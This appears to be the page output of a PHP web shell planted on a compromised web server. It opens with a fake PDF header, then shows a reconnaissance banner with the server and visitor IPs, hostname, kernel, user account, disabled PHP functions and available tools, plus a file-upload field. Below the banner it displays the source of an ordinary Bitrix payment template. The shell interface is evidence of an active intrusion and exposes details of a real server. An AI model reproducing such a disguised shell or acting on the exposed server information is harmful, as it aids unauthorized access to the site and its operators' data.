%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.105.174 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.account.pay/templates/bootstrap_v4/ |
Upload File : |
<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; CJSCore::Init(array("popup")); if (!empty($arResult["errorMessage"])) { if (!is_array($arResult["errorMessage"])) { ShowError($arResult["errorMessage"]); } else { foreach ($arResult["errorMessage"] as $errorMessage) { ShowError($errorMessage); } } } else { if ($arParams['REFRESHED_COMPONENT_MODE'] === 'Y') { $wrapperId = str_shuffle(mb_substr($arResult['SIGNED_PARAMS'], 0, 10)); ?> <div class="bx-sap row"> <div class="col" id="bx-sap<?=$wrapperId?>"> <? if ($arParams['SELL_VALUES_FROM_VAR'] != 'Y') { if ($arParams['SELL_SHOW_FIXED_VALUES'] === 'Y') { ?> <div class="row mb-3"> <div class="col"> <h3 class="mb-2"><?= Loc::getMessage("SAP_FIXED_PAYMENT") ?></h3> <div class="sale-accountpay-fixedpay-container"> <div class="sale-accountpay-fixedpay-list"> <? foreach ($arParams["SELL_TOTAL"] as $valueChanging) { ?> <div class="sale-accountpay-fixedpay-item"><?=CUtil::JSEscape(htmlspecialcharsbx($valueChanging))?></div> <? } ?> </div> </div> </div> </div> <? } ?> <div class="row mb-3"> <div class="col form-horizontal"> <h3 class="mb-2"><?=Loc::getMessage("SAP_SUM")?></h3> <div class="form-group row"> <div class='col-12 col-md-4 input-group'> <? $inputElement = " <input type='text' placeholder='0.00' class='form-control sale-accountpay-input text-right' value='0.00' " ."name=".CUtil::JSEscape(htmlspecialcharsbx($arParams["VAR"]))." " .($arParams['SELL_USER_INPUT'] === 'N' ? "disabled" :""). ">"; $currencyRow = " <div class='input-group-append'> <span class='input-group-text' id='inputGroupPrepend'>".$arResult['FORMATED_CURRENCY']."</span> </div>"; echo $inputElement.$currencyRow; ?> </div> </div> </div> </div> <? } else { if ($arParams['SELL_SHOW_RESULT_SUM'] === 'Y') { ?> <div class="row mb-3"> <div class="col"> <h3 class="mb-2"><?=Loc::getMessage("SAP_SUM")?></h3> <h2 class="mb-2"><?=SaleFormatCurrency($arResult["SELL_VAR_PRICE_VALUE"], $arParams['SELL_CURRENCY'])?></h2> </div> </div> <? } ?> <div class="row mb-3"> <div class="col"> <input type="hidden" name="<?=CUtil::JSEscape(htmlspecialcharsbx($arParams["VAR"]))?>" class="sale-accountpay-input" value="<?=CUtil::JSEscape(htmlspecialcharsbx($arResult["SELL_VAR_PRICE_VALUE"]))?>"> </div> </div> <? } ?> <div class="row mb-3"> <div class="col"> <h3 class="mb-2"><?=Loc::getMessage("SAP_TYPE_PAYMENT_TITLE")?></h3> <div class="row sale-accountpay-pp"> <? foreach ($arResult['PAYSYSTEMS_LIST'] as $key => $paySystem) { ?> <div class="sale-accountpay-pp-company col-lg-2 col-md-3 col-sm-4 col-6 <?= ($key == 0) ? 'bx-selected' :""?>"> <div class="sale-accountpay-pp-company-graf-container"> <input type="checkbox" class="sale-accountpay-pp-company-checkbox" name="PAY_SYSTEM_ID" value="<?=$paySystem['ID']?>" <?= ($key == 0) ? "checked='checked'" :""?>> <? if (isset($paySystem['LOGOTIP'])) { ?> <div class="sale-accountpay-pp-company-image" style="background-image: url(<?=$paySystem['LOGOTIP']?>);"></div> <? } ?> </div> <div class="sale-accountpay-pp-company-smalltitle"><?=CUtil::JSEscape(htmlspecialcharsbx($paySystem['NAME']))?></div> </div> <? } ?> </div> </div> </div> <div class="row mb-3"> <div class="col"> <a href="" class="btn btn-primary sale-account-pay-button"><?=Loc::getMessage("SAP_BUTTON")?></a> </div> </div> </div> </div> <? $javascriptParams = array( "alertMessages" => array("wrongInput" => Loc::getMessage('SAP_ERROR_INPUT')), "url" => CUtil::JSEscape($this->__component->GetPath().'/ajax.php'), "templateFolder" => CUtil::JSEscape($templateFolder), "templateName" => $this->__component->GetTemplateName(), "signedParams" => $arResult['SIGNED_PARAMS'], "wrapperId" => $wrapperId ); $javascriptParams = CUtil::PhpToJSObject($javascriptParams); ?> <script> var sc = new BX.saleAccountPay(<?=$javascriptParams?>); </script> <? } else { ?> <h3><?=Loc::getMessage("SAP_BUY_MONEY")?></h3> <form method="post" name="buyMoney" action=""> <? foreach($arResult["AMOUNT_TO_SHOW"] as $value) { ?> <input type="radio" name="<?=CUtil::JSEscape(htmlspecialcharsbx($arParams["VAR"]))?>" value="<?=$value["ID"]?>" id="<?=CUtil::JSEscape(htmlspecialcharsbx($arParams["VAR"])).$value["ID"]?>"> <label for="<?=CUtil::JSEscape(htmlspecialcharsbx($arParams["VAR"])).$value["ID"]?>"><?=$value["NAME"]?></label> <br /> <? } ?> <input type="submit" class="btn btn-primary" name="button" value="<?=GetMessage("SAP_BUTTON")?>"> </form> <? } }